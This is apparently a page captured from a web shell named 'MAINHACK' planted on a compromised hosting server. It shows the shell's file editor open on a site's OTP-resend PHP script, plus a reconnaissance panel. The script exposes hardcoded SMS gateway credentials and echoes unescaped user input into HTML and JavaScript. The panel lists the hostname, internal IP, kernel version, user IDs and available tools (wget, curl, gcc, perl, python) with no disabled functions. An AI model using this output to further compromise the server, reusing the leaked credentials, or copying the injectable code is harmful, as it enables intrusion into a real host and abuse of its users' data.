[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: resend_otp.php
<?php include 'header.php'; $em=base64_decode($_REQUEST['em']); $table=base64_decode($_REQUEST['t']); $p=base64_decode($_REQUEST['p']); if($table=='food_maker'){ $link='restaurant-otp.php'; }else $link='user-OTP.php'; $no=rand(1,100000); $capcha=$no; $site="https://thesajh.com/"; $today=date('d-m-Y'); $username="sajh"; $Password="test_123"; $sender='ITSITE'; $number=$p; $priority='ndnd'; $stype='normal'; $otp=$capcha; //The OTP for Registration is {#var#}. The OTP is valid for 5mins. Thanks for visiting {#var#}. Regards ITSITE $message=urlencode("The OTP for Registration is $otp. The OTP is valid for 5mins. Thanks for visiting $site. Regards ITSITE"); $var="user=".$username."&pass=".$Password."&sender=".$sender."&phone=".$number."&text=".$message."&priority=".$priority."&stype=".$stype.""; $curl=curl_init('http://sms.incrementertech.com/api/sendmsg.php?'.$var); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); $response=curl_exec($curl); curl_close($curl); $email_subject = "Registration Confirmation"; $email_content=" <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='$company_logo' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to The Sajh</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi ".$_POST['name'].",<br><br> Your Registration with email id ".$em." has been successful.This is your OTP for verification. <br><br> <b>OTP :$capcha</b> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>Stay in touch with Us</b></p> <p><a href='$fb' target='_blank'><img src='$link_url/images/fb.png' width='50px'></a> <a href='$insta' target='_blank'><img src='$link_url/images/insta.png' width='55px'></a> </p> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $url="$link?id=".base64_encode($capcha)."&m=".base64_encode($em)."&p=".base64_encode($p)."&table=".base64_encode($table).""; // echo $url; if(@mail($em,$email_subject,$email_content,$headers)) { echo "<script> setTimeout(function() { swal({ title: 'Thank You!', text: 'OTP has been sent to your registered mail id/Phone No', type: 'success' }, function() { window.location = '$url'; }); }, 1000); </script>"; // echo "<script>window.location.href='$link?id=".base64_encode($capcha)."&m=".base64_encode($em)."'</script>"; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619